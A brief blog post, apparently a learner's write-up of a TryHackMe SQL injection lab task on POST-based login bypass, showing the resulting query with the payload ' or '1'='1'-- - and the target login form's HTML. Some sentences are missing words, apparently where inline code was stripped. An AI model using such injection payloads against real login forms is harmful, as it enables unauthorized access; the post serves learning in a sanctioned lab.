My first hacking challenge CHAP.3: SQL Injection - POST Injection
24 Mar 2023 ・ less than a minute read
Welcome back to my post with the third chap about SQL Injection challenge on tryhackme.
Third chap - fourth task
- Environment Setup.
I went to room 4
As in the previous chapter, I tested by input with and with and as the same result as previous time, it rejected.
SELECT uid, name, profileID, salary, passportNr, email, nickName, password FROM usertable WHERE profileID='1' or '1'='1'-- -' AND password='a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3'
And because this challenge is so I can't see any thing from the
<form action="/sesqli4/login" onsubmit="return validateform()" name="inputForm" method="POST">
<h2 class="text-center">Log in</h2>
<div class="form-group">
<input type="text" class="form-control" placeholder="ProfileID" required="required" name="profileID">
</div>
<div class="form-group">
<input type="password" class="form-control" placeholder="Password" required="required" name="password">
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary btn-block">Log in</button>
</div>
</form>